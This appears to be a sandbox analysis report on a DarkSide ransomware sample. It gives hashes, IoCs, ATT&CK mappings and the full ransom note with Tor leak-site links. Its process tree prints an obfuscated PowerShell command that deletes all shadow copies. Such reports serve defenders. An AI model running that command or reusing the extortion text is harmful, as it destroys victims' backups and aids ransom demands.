darkside | bc32a2ccf158ebe2b76646be865a4c6dd91da6b8e5bb0dd9520102a9bfea5439

General

Target

1.exe
Size

41KB
MD5

a14e07f7da701bd91108f988862a71a0
SHA1

bcbe67c6518e68d4056f10fe9191d2900d06190f
SHA256

bc32a2ccf158ebe2b76646be865a4c6dd91da6b8e5bb0dd9520102a9bfea5439
SHA512

06df2cd0ff26e8452cf139751f498db63d04a85f59a6ccf2e308c8c830fdd15c2dcdee9697e61a22da58c932e6f9440a134f1e6fff3d42d87f0ce97bf4a85442

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.efaa031a.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

1.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ExpandSubmit.tif.efaa031a	1.exe
File renamed	C:\Users\Admin\Pictures\SelectLock.png => C:\Users\Admin\Pictures\SelectLock.png.efaa031a	1.exe
File opened for modification	C:\Users\Admin\Pictures\SelectLock.png.efaa031a	1.exe
File renamed	C:\Users\Admin\Pictures\UpdateDisable.tif => C:\Users\Admin\Pictures\UpdateDisable.tif.efaa031a	1.exe
File opened for modification	C:\Users\Admin\Pictures\UpdateDisable.tif.efaa031a	1.exe
File renamed	C:\Users\Admin\Pictures\EnterTest.tif => C:\Users\Admin\Pictures\EnterTest.tif.efaa031a	1.exe
File opened for modification	C:\Users\Admin\Pictures\EnterTest.tif.efaa031a	1.exe
File renamed	C:\Users\Admin\Pictures\ExpandSubmit.tif => C:\Users\Admin\Pictures\ExpandSubmit.tif.efaa031a	1.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

1.exepowershell.exe

pid process

340 1.exe
340 1.exe
1612 powershell.exe
1612 powershell.exe
340 1.exe

pid	process
340	1.exe
340	1.exe
1612	powershell.exe
1612	powershell.exe
340	1.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

1.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	340	1.exe
Token: SeSecurityPrivilege	340	1.exe
Token: SeTakeOwnershipPrivilege	340	1.exe
Token: SeLoadDriverPrivilege	340	1.exe
Token: SeSystemProfilePrivilege	340	1.exe
Token: SeSystemtimePrivilege	340	1.exe
Token: SeProfSingleProcessPrivilege	340	1.exe
Token: SeIncBasePriorityPrivilege	340	1.exe
Token: SeCreatePagefilePrivilege	340	1.exe
Token: SeBackupPrivilege	340	1.exe
Token: SeRestorePrivilege	340	1.exe
Token: SeShutdownPrivilege	340	1.exe
Token: SeDebugPrivilege	340	1.exe
Token: SeSystemEnvironmentPrivilege	340	1.exe
Token: SeRemoteShutdownPrivilege	340	1.exe
Token: SeUndockPrivilege	340	1.exe
Token: SeManageVolumePrivilege	340	1.exe
Token: 33	340	1.exe
Token: 34	340	1.exe
Token: 35	340	1.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeBackupPrivilege	636	vssvc.exe
Token: SeRestorePrivilege	636	vssvc.exe
Token: SeAuditPrivilege	636	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

1.exe

description	pid	process	target process
PID 340 wrote to memory of 1612	340	1.exe	powershell.exe
PID 340 wrote to memory of 1612	340	1.exe	powershell.exe
PID 340 wrote to memory of 1612	340	1.exe	powershell.exe
PID 340 wrote to memory of 1612	340	1.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:636

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
7ec36b60a53214762d5db00dc3fc6688

SHA1
bbc9b66763a203adcf4fa703b8acf6e7518f0675

SHA256
6821512af5e48dd3379731ddd4eea396c23b114194a2129118b25224b0d45091

SHA512
c7fa5995b6236d716cdaeaa3733dee0259854329fc35738e4e4176ee16bb2e222d25ce644a705755c95c73bed250736b2eb550cc8cf00187c7dcf59651ae7183

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
60f82d899c5d7a8dc3eb04fbf485bfe7

SHA1
16b1f8274eaa2f6c33646917ecd1edda0db58f4d

SHA256
265085e41f844ba81b6896c47b861061027d4b4f1be2fc22cbebeb52954cff03

SHA512
0e640f555b35350c9d9771e00e61ca530671e766eceb2802af0ce5f813c200a952d686fd8118c3505bd08068e222f572014991254408eb8e5f4471d2117d0e23

Download Submit
memory/340-59-0x00000000750C1000-0x00000000750C3000-memory.dmp

Filesize
8KB

Download
memory/1612-66-0x000000001AC34000-0x000000001AC36000-memory.dmp

Filesize
8KB

Download
memory/1612-63-0x000000001ACB0000-0x000000001ACB1000-memory.dmp

Filesize
4KB

Download
memory/1612-64-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/1612-62-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/1612-65-0x000000001AC30000-0x000000001AC32000-memory.dmp

Filesize
8KB

Download
memory/1612-67-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/1612-68-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

Filesize
4KB

Download
memory/1612-69-0x000000001C580000-0x000000001C581000-memory.dmp

Filesize
4KB

Download
memory/1612-61-0x000007FEFB701000-0x000007FEFB703000-memory.dmp

Filesize
8KB

Download
memory/1612-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads